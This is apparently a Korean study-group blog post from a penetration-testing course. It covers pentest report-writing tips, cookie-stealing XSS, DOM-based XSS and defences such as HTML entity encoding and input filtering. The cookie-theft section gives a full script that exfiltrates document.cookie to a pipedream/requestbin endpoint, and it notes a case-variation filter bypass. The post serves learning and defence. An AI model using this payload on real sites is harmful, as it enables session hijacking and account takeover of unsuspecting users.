모의해킹스터디5기(feat.Normaltic)

보고서 작성 / 쿠키 탈취 XSS [10주차]

해커1 2024. 1. 8. 15:24

 

 

 

지난 과제 중에 보고서 작성이 있었는데,

이번 시간에는 보고서 작성에 어려움을 느끼는 사람들을 위한 꿀팁

XSS를 활용해 쿠키 정보를 탈취하는 방법을 배워본다.


1. 보고서 작성 팁

  • word로 작성
    • notion이나 pdf까지는 괜찮음
    • 한글(hwp)는 안됨
  • 깔끔한 제목, 목차 명시

1. 보고서 예시

 

  • 사소한 디테일 확인하기
    • 띄어쓰기, 줄 간격 등등
  • 이미지는 테두리 설정하기
    • 이미지와 배경 구분이 안되는 경우가 있기 때문

2. 이미지 테두리 설정 비교

 

  • 디자인은 일관되게
  • 캡쳐화면 활용하기
    • 과한 느낌이어도 괜찮음
    • 이미지가 이해하기에 좋음
  • 글씨 크기 일관되게
    • 파트에 따라 글씨 크기는 달라짐
    • 같은 파트라면 일관된 크기로

3. 글씨 크기

 

  • 취약점이 발견된 경로 명시
    • 페이지 URL 포함

4. 취약점 경로 명시

 

  • 말투는 일관되게
    • 어떤 말투인지는 상관없음
    • ~합니다 / ~했음 / ~한다

 


2. 쿠키 탈취 XSS

XSS는 스크립트를 삽입하는 공격이다. 그래서 삽입하는 스크립트, JavaScript를 얼마나 잘 사용하느냐에 따라 공격 방법이 다양해진다.

 

그러나 스크립트를 이용한 공격 중 반드시 알아야 하는 공격이 있는데,

그것이 쿠키 탈취 공격이다. 

 

 

이유

쿠키를 알아야 하는 가장 큰 이유는 세션 아이디가 쿠키에 저장되어 있기 때문이다.

세션 아이디가 있다면 해당 계정으로 로그인을 우회할 수 있기 때문에, 로그인 후 여러 정보를 탈취할 수 있게 된다.

 

 

방법

이전에 XSS 가능성을 확인하기 위해 경고메시지를 띄우는 코드를 작성했었다.

<script>alert(1)</script>

 

<script> 태그 사이에 alert(1) 대신 쿠키를 탈취하는 코드를 넣어주면 된다. 

코드는 3부분으로 나누어진다.

 

 

 

1. 쿠키 저장

var cookieData = document.cookie;

cookieData라는 변수를 생성해 쿠키 정보를 저장하는 코드

 

document.cookie는 쿠키 정보를 포함하는 javascript의 속성이다.

5. 개발자도구(F12) 쿠키

 

개발자도구 콘솔에 document.cookie를 입력하면, 세미콜론(;)을 기준으로 나뉜 쿠키 정보를 볼 수 있다. 

6. document.cookie

 

 

2. 이미지 객체 생성

var i = new Image();

i라는 변수를 생성해 이미지 객체를 할당하는 코드

 

 

3. 쿠키 전달

i.src = "홈페이지URL?cookie" + cookieData; 

생성한 i 변수의 주소를 쿠키를 전달하려는 홈페이지에 포함해 전달하는 코드

 

이미지 객체를 통해 해당 URL에 저장한 쿠키 정보가 GET 방식으로 전달된다.

 

여기서 쿠키를 확인할 홈페이지를 어떻게 구성해야 하나 생각이 들텐데

본인이 VPS를 사용해서 노출되지 않는 가상 사이트를 생성하는 방법도 있지만

무료로 홈페이지를 제공하는 사이트가 있다.

https://public.requestbin.com/r/

 

7. requestbin

 

Your endpoint라고 나오는 URL을 복사해서 사용하면 된다.

 

8. requestbin 쿠키 확인

 

제공된 홈페이지URL에 쿠키 정보를 포함해 입력하면, requestbin 사이트 왼쪽 바에 전달된 쿠키 값을 확인할 수 있다.

 

 

 

전체 코드

<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://enp1gh9myq1qk.x.pipedream.net/?cookie=" + cookieData;
</script>

 

 


3. DOM Based XSS

이번 시간에 DOM Based XSS라는 새로운 유형의 XSS를 배웠다. 

이름만 들어도 DOM에 기반한 공격임을 알 수 있는데, 그럼 먼저 DOM이 무엇인지에 대해 알아야 한다.

 

DOM이란 단어를 처음 들어서 확실히 알고 가고 싶었는데, 정의나 공식 설명으로는 DOM에 대해 이해하기가 쉽지 않았다. 그래서 오랜 시간 구글링을 하다가 DOM에 대해 정말 잘 설명하는 글을 발견했으니 DOM에 대한 개념을 확실히 이해하고 싶다면 이 글을 참고하면 좋을 것 같다.

 

https://m.blog.naver.com/magnking/220972680805

 

[JavaScript] DOM이란 무엇인가?

JavaScript를 공부하다보면 브라우저 기반의 여러 객체들에 대해서 듣게 됩니다. 처음부터 이 객체들이 ...

blog.naver.com

 

그래서 DOM이란 무엇이냐?

공격자 입장에서 간단하게 말하자면.. HTML페이지를 동적으로 생성하는 방식이라고 할 수 있겠다.

 

바로 이어서 DOM Based XSS에 대해 넘어가자면

DOM Based XSS는 DOM을 사용하여 HTML 페이지의 객체나 요소를 생성하는 과정에서 악성 스크립트를 삽입하는 공격이다.

 

이 공격의 가장 큰 특징이 있다면 HTTP 응답 메시지에 보이지 않는다는 것이다.

 

그래서 이전과 같은 방식으로 Burp Suite에서 내가 삽입한 스크립트가 있는지 없는지 확인하는 행동은 DOM Based XSS인 경우 시간만 허비하게 된다. DOM Based XSS같은 경우에는 다른 방식으로 접근해야 한다. 여기서 팁을 말하자면 DOM Based XSS인지 아닌지 알 수 있는 간단한 방법은..

 

만약 화면에 내가 쓴 데이터가 보인다?

그렇다면 Reflected XSS 아니면 DOM Based XSS이다.

 

그리고 나서 다음 구문이 있는지 확인하자.

document.write = "";
innerHTML

 

DOM Based XSS에서 많이 쓰이는 구문이다. 이런 구문이 있다면 DOM Based XSS를 사용할 수 있는 가능성을 생각해야 한다.

 

아래는 DOM Based XSS의 공격 과정 이미지다. 이해하는데 도움이 될 것 같아 가져왔다.

9. DOM Based XSS

출처:http://server1.sharewiz.net/lib/exe/detail.php?id=security%3Axss_cross-site_scripting%3Axss_attacks&media=xss:dom-based-xss.png

 

 

 

 


4. XSS 대응 방법

대응 방법에는 당연히 여러가지가 있겠지만 이번에 배운 것들과 실습하면서 직접 경험한 것들을 적어보겠다.

 

1. HTML Entity

HTML에는 몇몇 특수문자를 예약어로 지정해두고 그 문자열을 다른 의미로 해석하기로 정했는데, 그 문자의 SET를 HTML Entity라고 한다.

10. HTML Entity

 

XSS 공격에서 주로 사용되는 < " ' > 를 HTML Entity의 값으로 치환하는 것이 첫번째 대응 방법이다.

예를 들면 <script>&lt;script&gt;로 치환된다는 것이다.

html 페이지에서는 <script>라고 나오지만 브라우저는 &lt;<script&gt;로 보기 때문에 스크립트가 실행되지 않는다.

 

2. 입력 값 제한

스크립트로 인한 공격을 하려면 꽤 긴 문자열을 넣을 수 밖에 없다. 그래서 XSS 공격 포인트를 찾아도 입력할 수 있는 길이를 제한해두면 어느 정도 공격을 막을 수 있게된다. 

 

3. 필터 사용

공격에 사용되는 구문들, 예를 들면 <script> 같은 문자열을 애초에 필터링 시키는 방법도 있다. 해당 문자열이 포함되면 입력되지 않도록. 그러나 대소문자 구분을 하지 않는 경우도 있어 <ScrIpt> 와 같은 방법으로 우회하는 방법도 존재한다.

 

 


참조

 

KISA 한국인터넷진흥원

목 차 제 1 장 서론 ···········································································1 제 2 장 취약점 점검 상황 ······················

www.kisa.or.kr

 

[대학 생활] 보고서 작성 / 보고서 양식 / word 보고서 / 대학교 보고서 / 대학교 과제

컴퓨터공학과는 코딩만 할 줄 알면 된다고 생각했는데 큰 오산이었다. 멋대로 만들다가 선배들이 제출한 보고서를 보니까 말도 안 되게 멋있었다.. 앞으로도 보고서를 만들 일이 많을 거라 나만

devohda.tistory.com